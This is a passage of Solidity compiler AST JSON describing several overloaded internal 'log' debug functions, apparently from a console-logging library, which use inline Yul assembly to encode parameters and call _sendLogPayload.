":"262699:2:22"}],"functionName":{"name":"mstore","nativeSrc":"262686:6:22","nodeType":"YulIdentifier","src":"262686:6:22"},"nativeSrc":"262686:16:22","nodeType":"YulFunctionCall","src":"262686:16:22"},"nativeSrc":"262686:16:22","nodeType":"YulExpressionStatement","src":"262686:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"262722:5:22","nodeType":"YulLiteral","src":"262722:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"262729:2:22","nodeType":"YulIdentifier","src":"262729:2:22"}],"functionName":{"name":"mstore","nativeSrc":"262715:6:22","nodeType":"YulIdentifier","src":"262715:6:22"},"nativeSrc":"262715:17:22","nodeType":"YulFunctionCall","src":"262715:17:22"},"nativeSrc":"262715:17:22","nodeType":"YulExpressionStatement","src":"262715:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42424,"isOffset":false,"isSlot":false,"src":"262496:2:22","valueSize":1},{"declaration":42427,"isOffset":false,"isSlot":false,"src":"262525:2:22","valueSize":1},{"declaration":42430,"isOffset":false,"isSlot":false,"src":"262554:2:22","valueSize":1},{"declaration":42433,"isOffset":false,"isSlot":false,"src":"262583:2:22","valueSize":1},{"declaration":42436,"isOffset":false,"isSlot":false,"src":"262612:2:22","valueSize":1},{"declaration":42439,"isOffset":false,"isSlot":false,"src":"262641:2:22","valueSize":1},{"declaration":42442,"isOffset":false,"isSlot":false,"src":"262670:2:22","valueSize":1},{"declaration":42445,"isOffset":false,"isSlot":false,"src":"262699:2:22","valueSize":1},{"declaration":42448,"isOffset":false,"isSlot":false,"src":"262729:2:22","valueSize":1}],"id":42456,"nodeType":"InlineAssembly","src":"262460:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"261227:3:22","parameters":{"id":42421,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42414,"mutability":"mutable","name":"p0","nameLocation":"261239:2:22","nodeType":"VariableDeclaration","scope":42458,"src":"261231:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42413,"name":"uint256","nodeType":"ElementaryTypeName","src":"261231:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42416,"mutability":"mutable","name":"p1","nameLocation":"261248:2:22","nodeType":"VariableDeclaration","scope":42458,"src":"261243:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42415,"name":"bool","nodeType":"ElementaryTypeName","src":"261243:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":42418,"mutability":"mutable","name":"p2","nameLocation":"261260:2:22","nodeType":"VariableDeclaration","scope":42458,"src":"261252:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42417,"name":"bytes32","nodeType":"ElementaryTypeName","src":"261252:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":42420,"mutability":"mutable","name":"p3","nameLocation":"261272:2:22","nodeType":"VariableDeclaration","scope":42458,"src":"261264:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42419,"name":"bytes32","nodeType":"ElementaryTypeName","src":"261264:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"261230:45:22"},"returnParameters":{"id":42422,"nodeType":"ParameterList","parameters":[],"src":"261290:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42492,"nodeType":"FunctionDefinition","src":"262754:792:22","nodes":[],"body":{"id":42491,"nodeType":"Block","src":"262829:717:22","nodes":[],"statements":[{"assignments":[42470],"declarations":[{"constant":false,"id":42470,"mutability":"mutable","name":"m0","nameLocation":"262847:2:22","nodeType":"VariableDeclaration","scope":42491,"src":"262839:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42469,"name":"bytes32","nodeType":"ElementaryTypeName","src":"262839:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42471,"nodeType":"VariableDeclarationStatement","src":"262839:10:22"},{"assignments":[42473],"declarations":[{"constant":false,"id":42473,"mutability":"mutable","name":"m1","nameLocation":"262867:2:22","nodeType":"VariableDeclaration","scope":42491,"src":"262859:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42472,"name":"bytes32","nodeType":"ElementaryTypeName","src":"262859:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42474,"nodeType":"VariableDeclarationStatement","src":"262859:10:22"},{"assignments":[42476],"declarations":[{"constant":false,"id":42476,"mutability":"mutable","name":"m2","nameLocation":"262887:2:22","nodeType":"VariableDeclaration","scope":42491,"src":"262879:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42475,"name":"bytes32","nodeType":"ElementaryTypeName","src":"262879:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42477,"nodeType":"VariableDeclarationStatement","src":"262879:10:22"},{"assignments":[42479],"declarations":[{"constant":false,"id":42479,"mutability":"mutable","name":"m3","nameLocation":"262907:2:22","nodeType":"VariableDeclaration","scope":42491,"src":"262899:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42478,"name":"bytes32","nodeType":"ElementaryTypeName","src":"262899:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42480,"nodeType":"VariableDeclarationStatement","src":"262899:10:22"},{"assignments":[42482],"declarations":[{"constant":false,"id":42482,"mutability":"mutable","name":"m4","nameLocation":"262927:2:22","nodeType":"VariableDeclaration","scope":42491,"src":"262919:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42481,"name":"bytes32","nodeType":"ElementaryTypeName","src":"262919:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42483,"nodeType":"VariableDeclarationStatement","src":"262919:10:22"},{"AST":{"nativeSrc":"262948:381:22","nodeType":"YulBlock","src":"262948:381:22","statements":[{"nativeSrc":"262962:17:22","nodeType":"YulAssignment","src":"262962:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"262974:4:22","nodeType":"YulLiteral","src":"262974:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"262968:5:22","nodeType":"YulIdentifier","src":"262968:5:22"},"nativeSrc":"262968:11:22","nodeType":"YulFunctionCall","src":"262968:11:22"},"variableNames":[{"name":"m0","nativeSrc":"262962:2:22","nodeType":"YulIdentifier","src":"262962:2:22"}]},{"nativeSrc":"262992:17:22","nodeType":"YulAssignment","src":"262992:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"263004:4:22","nodeType":"YulLiteral","src":"263004:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"262998:5:22","nodeType":"YulIdentifier","src":"262998:5:22"},"nativeSrc":"262998:11:22","nodeType":"YulFunctionCall","src":"262998:11:22"},"variableNames":[{"name":"m1","nativeSrc":"262992:2:22","nodeType":"YulIdentifier","src":"262992:2:22"}]},{"nativeSrc":"263022:17:22","nodeType":"YulAssignment","src":"263022:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"263034:4:22","nodeType":"YulLiteral","src":"263034:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"263028:5:22","nodeType":"YulIdentifier","src":"263028:5:22"},"nativeSrc":"263028:11:22","nodeType":"YulFunctionCall","src":"263028:11:22"},"variableNames":[{"name":"m2","nativeSrc":"263022:2:22","nodeType":"YulIdentifier","src":"263022:2:22"}]},{"nativeSrc":"263052:17:22","nodeType":"YulAssignment","src":"263052:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"263064:4:22","nodeType":"YulLiteral","src":"263064:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"263058:5:22","nodeType":"YulIdentifier","src":"263058:5:22"},"nativeSrc":"263058:11:22","nodeType":"YulFunctionCall","src":"263058:11:22"},"variableNames":[{"name":"m3","nativeSrc":"263052:2:22","nodeType":"YulIdentifier","src":"263052:2:22"}]},{"nativeSrc":"263082:17:22","nodeType":"YulAssignment","src":"263082:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"263094:4:22","nodeType":"YulLiteral","src":"263094:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"263088:5:22","nodeType":"YulIdentifier","src":"263088:5:22"},"nativeSrc":"263088:11:22","nodeType":"YulFunctionCall","src":"263088:11:22"},"variableNames":[{"name":"m4","nativeSrc":"263082:2:22","nodeType":"YulIdentifier","src":"263082:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"263186:4:22","nodeType":"YulLiteral","src":"263186:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"263192:10:22","nodeType":"YulLiteral","src":"263192:10:22","type":"","value":"0x56a5d1b1"}],"functionName":{"name":"mstore","nativeSrc":"263179:6:22","nodeType":"YulIdentifier","src":"263179:6:22"},"nativeSrc":"263179:24:22","nodeType":"YulFunctionCall","src":"263179:24:22"},"nativeSrc":"263179:24:22","nodeType":"YulExpressionStatement","src":"263179:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"263223:4:22","nodeType":"YulLiteral","src":"263223:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"263229:2:22","nodeType":"YulIdentifier","src":"263229:2:22"}],"functionName":{"name":"mstore","nativeSrc":"263216:6:22","nodeType":"YulIdentifier","src":"263216:6:22"},"nativeSrc":"263216:16:22","nodeType":"YulFunctionCall","src":"263216:16:22"},"nativeSrc":"263216:16:22","nodeType":"YulExpressionStatement","src":"263216:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"263252:4:22","nodeType":"YulLiteral","src":"263252:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"263258:2:22","nodeType":"YulIdentifier","src":"263258:2:22"}],"functionName":{"name":"mstore","nativeSrc":"263245:6:22","nodeType":"YulIdentifier","src":"263245:6:22"},"nativeSrc":"263245:16:22","nodeType":"YulFunctionCall","src":"263245:16:22"},"nativeSrc":"263245:16:22","nodeType":"YulExpressionStatement","src":"263245:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"263281:4:22","nodeType":"YulLiteral","src":"263281:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"263287:2:22","nodeType":"YulIdentifier","src":"263287:2:22"}],"functionName":{"name":"mstore","nativeSrc":"263274:6:22","nodeType":"YulIdentifier","src":"263274:6:22"},"nativeSrc":"263274:16:22","nodeType":"YulFunctionCall","src":"263274:16:22"},"nativeSrc":"263274:16:22","nodeType":"YulExpressionStatement","src":"263274:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"263310:4:22","nodeType":"YulLiteral","src":"263310:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"263316:2:22","nodeType":"YulIdentifier","src":"263316:2:22"}],"functionName":{"name":"mstore","nativeSrc":"263303:6:22","nodeType":"YulIdentifier","src":"263303:6:22"},"nativeSrc":"263303:16:22","nodeType":"YulFunctionCall","src":"263303:16:22"},"nativeSrc":"263303:16:22","nodeType":"YulExpressionStatement","src":"263303:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42470,"isOffset":false,"isSlot":false,"src":"262962:2:22","valueSize":1},{"declaration":42473,"isOffset":false,"isSlot":false,"src":"262992:2:22","valueSize":1},{"declaration":42476,"isOffset":false,"isSlot":false,"src":"263022:2:22","valueSize":1},{"declaration":42479,"isOffset":false,"isSlot":false,"src":"263052:2:22","valueSize":1},{"declaration":42482,"isOffset":false,"isSlot":false,"src":"263082:2:22","valueSize":1},{"declaration":42460,"isOffset":false,"isSlot":false,"src":"263229:2:22","valueSize":1},{"declaration":42462,"isOffset":false,"isSlot":false,"src":"263258:2:22","valueSize":1},{"declaration":42464,"isOffset":false,"isSlot":false,"src":"263287:2:22","valueSize":1},{"declaration":42466,"isOffset":false,"isSlot":false,"src":"263316:2:22","valueSize":1}],"id":42484,"nodeType":"InlineAssembly","src":"262939:390:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42486,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"263354:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":42487,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"263360:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":42485,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"263338:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42488,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"263338:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42489,"nodeType":"ExpressionStatement","src":"263338:27:22"},{"AST":{"nativeSrc":"263384:156:22","nodeType":"YulBlock","src":"263384:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"263405:4:22","nodeType":"YulLiteral","src":"263405:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"263411:2:22","nodeType":"YulIdentifier","src":"263411:2:22"}],"functionName":{"name":"mstore","nativeSrc":"263398:6:22","nodeType":"YulIdentifier","src":"263398:6:22"},"nativeSrc":"263398:16:22","nodeType":"YulFunctionCall","src":"263398:16:22"},"nativeSrc":"263398:16:22","nodeType":"YulExpressionStatement","src":"263398:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"263434:4:22","nodeType":"YulLiteral","src":"263434:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"263440:2:22","nodeType":"YulIdentifier","src":"263440:2:22"}],"functionName":{"name":"mstore","nativeSrc":"263427:6:22","nodeType":"YulIdentifier","src":"263427:6:22"},"nativeSrc":"263427:16:22","nodeType":"YulFunctionCall","src":"263427:16:22"},"nativeSrc":"263427:16:22","nodeType":"YulExpressionStatement","src":"263427:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"263463:4:22","nodeType":"YulLiteral","src":"263463:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"263469:2:22","nodeType":"YulIdentifier","src":"263469:2:22"}],"functionName":{"name":"mstore","nativeSrc":"263456:6:22","nodeType":"YulIdentifier","src":"263456:6:22"},"nativeSrc":"263456:16:22","nodeType":"YulFunctionCall","src":"263456:16:22"},"nativeSrc":"263456:16:22","nodeType":"YulExpressionStatement","src":"263456:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"263492:4:22","nodeType":"YulLiteral","src":"263492:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"263498:2:22","nodeType":"YulIdentifier","src":"263498:2:22"}],"functionName":{"name":"mstore","nativeSrc":"263485:6:22","nodeType":"YulIdentifier","src":"263485:6:22"},"nativeSrc":"263485:16:22","nodeType":"YulFunctionCall","src":"263485:16:22"},"nativeSrc":"263485:16:22","nodeType":"YulExpressionStatement","src":"263485:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"263521:4:22","nodeType":"YulLiteral","src":"263521:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"263527:2:22","nodeType":"YulIdentifier","src":"263527:2:22"}],"functionName":{"name":"mstore","nativeSrc":"263514:6:22","nodeType":"YulIdentifier","src":"263514:6:22"},"nativeSrc":"263514:16:22","nodeType":"YulFunctionCall","src":"263514:16:22"},"nativeSrc":"263514:16:22","nodeType":"YulExpressionStatement","src":"263514:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42470,"isOffset":false,"isSlot":false,"src":"263411:2:22","valueSize":1},{"declaration":42473,"isOffset":false,"isSlot":false,"src":"263440:2:22","valueSize":1},{"declaration":42476,"isOffset":false,"isSlot":false,"src":"263469:2:22","valueSize":1},{"declaration":42479,"isOffset":false,"isSlot":false,"src":"263498:2:22","valueSize":1},{"declaration":42482,"isOffset":false,"isSlot":false,"src":"263527:2:22","valueSize":1}],"id":42490,"nodeType":"InlineAssembly","src":"263375:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"262763:3:22","parameters":{"id":42467,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42460,"mutability":"mutable","name":"p0","nameLocation":"262775:2:22","nodeType":"VariableDeclaration","scope":42492,"src":"262767:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42459,"name":"uint256","nodeType":"ElementaryTypeName","src":"262767:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42462,"mutability":"mutable","name":"p1","nameLocation":"262787:2:22","nodeType":"VariableDeclaration","scope":42492,"src":"262779:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42461,"name":"uint256","nodeType":"ElementaryTypeName","src":"262779:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42464,"mutability":"mutable","name":"p2","nameLocation":"262799:2:22","nodeType":"VariableDeclaration","scope":42492,"src":"262791:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":42463,"name":"address","nodeType":"ElementaryTypeName","src":"262791:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":42466,"mutability":"mutable","name":"p3","nameLocation":"262811:2:22","nodeType":"VariableDeclaration","scope":42492,"src":"262803:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":42465,"name":"address","nodeType":"ElementaryTypeName","src":"262803:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"262766:48:22"},"returnParameters":{"id":42468,"nodeType":"ParameterList","parameters":[],"src":"262829:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42526,"nodeType":"FunctionDefinition","src":"263552:786:22","nodes":[],"body":{"id":42525,"nodeType":"Block","src":"263624:714:22","nodes":[],"statements":[{"assignments":[42504],"declarations":[{"constant":false,"id":42504,"mutability":"mutable","name":"m0","nameLocation":"263642:2:22","nodeType":"VariableDeclaration","scope":42525,"src":"263634:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42503,"name":"bytes32","nodeType":"ElementaryTypeName","src":"263634:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42505,"nodeType":"VariableDeclarationStatement","src":"263634:10:22"},{"assignments":[42507],"declarations":[{"constant":false,"id":42507,"mutability":"mutable","name":"m1","nameLocation":"263662:2:22","nodeType":"VariableDeclaration","scope":42525,"src":"263654:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42506,"name":"bytes32","nodeType":"ElementaryTypeName","src":"263654:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42508,"nodeType":"VariableDeclarationStatement","src":"263654:10:22"},{"assignments":[42510],"declarations":[{"constant":false,"id":42510,"mutability":"mutable","name":"m2","nameLocation":"263682:2:22","nodeType":"VariableDeclaration","scope":42525,"src":"263674:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42509,"name":"bytes32","nodeType":"ElementaryTypeName","src":"263674:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42511,"nodeType":"VariableDeclarationStatement","src":"263674:10:22"},{"assignments":[42513],"declarations":[{"constant":false,"id":42513,"mutability":"mutable","name":"m3","nameLocation":"263702:2:22","nodeType":"VariableDeclaration","scope":42525,"src":"263694:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42512,"name":"bytes32","nodeType":"ElementaryTypeName","src":"263694:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42514,"nodeType":"VariableDeclarationStatement","src":"263694:10:22"},{"assignments":[42516],"declarations":[{"constant":false,"id":42516,"mutability":"mutable","name":"m4","nameLocation":"263722:2:22","nodeType":"VariableDeclaration","scope":42525,"src":"263714:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42515,"name":"bytes32","nodeType":"ElementaryTypeName","src":"263714:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42517,"nodeType":"VariableDeclarationStatement","src":"263714:10:22"},{"AST":{"nativeSrc":"263743:378:22","nodeType":"YulBlock","src":"263743:378:22","statements":[{"nativeSrc":"263757:17:22","nodeType":"YulAssignment","src":"263757:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"263769:4:22","nodeType":"YulLiteral","src":"263769:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"263763:5:22","nodeType":"YulIdentifier","src":"263763:5:22"},"nativeSrc":"263763:11:22","nodeType":"YulFunctionCall","src":"263763:11:22"},"variableNames":[{"name":"m0","nativeSrc":"263757:2:22","nodeType":"YulIdentifier","src":"263757:2:22"}]},{"nativeSrc":"263787:17:22","nodeType":"YulAssignment","src":"263787:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"263799:4:22","nodeType":"YulLiteral","src":"263799:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"263793:5:22","nodeType":"YulIdentifier","src":"263793:5:22"},"nativeSrc":"263793:11:22","nodeType":"YulFunctionCall","src":"263793:11:22"},"variableNames":[{"name":"m1","nativeSrc":"263787:2:22","nodeType":"YulIdentifier","src":"263787:2:22"}]},{"nativeSrc":"263817:17:22","nodeType":"YulAssignment","src":"263817:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"263829:4:22","nodeType":"YulLiteral","src":"263829:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"263823:5:22","nodeType":"YulIdentifier","src":"263823:5:22"},"nativeSrc":"263823:11:22","nodeType":"YulFunctionCall","src":"263823:11:22"},"variableNames":[{"name":"m2","nativeSrc":"263817:2:22","nodeType":"YulIdentifier","src":"263817:2:22"}]},{"nativeSrc":"263847:17:22","nodeType":"YulAssignment","src":"263847:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"263859:4:22","nodeType":"YulLiteral","src":"263859:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"263853:5:22","nodeType":"YulIdentifier","src":"263853:5:22"},"nativeSrc":"263853:11:22","nodeType":"YulFunctionCall","src":"263853:11:22"},"variableNames":[{"name":"m3","nativeSrc":"263847:2:22","nodeType":"YulIdentifier","src":"263847:2:22"}]},{"nativeSrc":"263877:17:22","nodeType":"YulAssignment","src":"263877:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"263889:4:22","nodeType":"YulLiteral","src":"263889:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"263883:5:22","nodeType":"YulIdentifier","src":"263883:5:22"},"nativeSrc":"263883:11:22","nodeType":"YulFunctionCall","src":"263883:11:22"},"variableNames":[{"name":"m4","nativeSrc":"263877:2:22","nodeType":"YulIdentifier","src":"263877:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"263978:4:22","nodeType":"YulLiteral","src":"263978:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"263984:10:22","nodeType":"YulLiteral","src":"263984:10:22","type":"","value":"0x15cac476"}],"functionName":{"name":"mstore","nativeSrc":"263971:6:22","nodeType":"YulIdentifier","src":"263971:6:22"},"nativeSrc":"263971:24:22","nodeType":"YulFunctionCall","src":"263971:24:22"},"nativeSrc":"263971:24:22","nodeType":"YulExpressionStatement","src":"263971:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"264015:4:22","nodeType":"YulLiteral","src":"264015:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"264021:2:22","nodeType":"YulIdentifier","src":"264021:2:22"}],"functionName":{"name":"mstore","nativeSrc":"264008:6:22","nodeType":"YulIdentifier","src":"264008:6:22"},"nativeSrc":"264008:16:22","nodeType":"YulFunctionCall","src":"264008:16:22"},"nativeSrc":"264008:16:22","nodeType":"YulExpressionStatement","src":"264008:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"264044:4:22","nodeType":"YulLiteral","src":"264044:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"264050:2:22","nodeType":"YulIdentifier","src":"264050:2:22"}],"functionName":{"name":"mstore","nativeSrc":"264037:6:22","nodeType":"YulIdentifier","src":"264037:6:22"},"nativeSrc":"264037:16:22","nodeType":"YulFunctionCall","src":"264037:16:22"},"nativeSrc":"264037:16:22","nodeType":"YulExpressionStatement","src":"264037:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"264073:4:22","nodeType":"YulLiteral","src":"264073:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"264079:2:22","nodeType":"YulIdentifier","src":"264079:2:22"}],"functionName":{"name":"mstore","nativeSrc":"264066:6:22","nodeType":"YulIdentifier","src":"264066:6:22"},"nativeSrc":"264066:16:22","nodeType":"YulFunctionCall","src":"264066:16:22"},"nativeSrc":"264066:16:22","nodeType":"YulExpressionStatement","src":"264066:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"264102:4:22","nodeType":"YulLiteral","src":"264102:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"264108:2:22","nodeType":"YulIdentifier","src":"264108:2:22"}],"functionName":{"name":"mstore","nativeSrc":"264095:6:22","nodeType":"YulIdentifier","src":"264095:6:22"},"nativeSrc":"264095:16:22","nodeType":"YulFunctionCall","src":"264095:16:22"},"nativeSrc":"264095:16:22","nodeType":"YulExpressionStatement","src":"264095:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42504,"isOffset":false,"isSlot":false,"src":"263757:2:22","valueSize":1},{"declaration":42507,"isOffset":false,"isSlot":false,"src":"263787:2:22","valueSize":1},{"declaration":42510,"isOffset":false,"isSlot":false,"src":"263817:2:22","valueSize":1},{"declaration":42513,"isOffset":false,"isSlot":false,"src":"263847:2:22","valueSize":1},{"declaration":42516,"isOffset":false,"isSlot":false,"src":"263877:2:22","valueSize":1},{"declaration":42494,"isOffset":false,"isSlot":false,"src":"264021:2:22","valueSize":1},{"declaration":42496,"isOffset":false,"isSlot":false,"src":"264050:2:22","valueSize":1},{"declaration":42498,"isOffset":false,"isSlot":false,"src":"264079:2:22","valueSize":1},{"declaration":42500,"isOffset":false,"isSlot":false,"src":"264108:2:22","valueSize":1}],"id":42518,"nodeType":"InlineAssembly","src":"263734:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42520,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"264146:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":42521,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"264152:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":42519,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"264130:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) 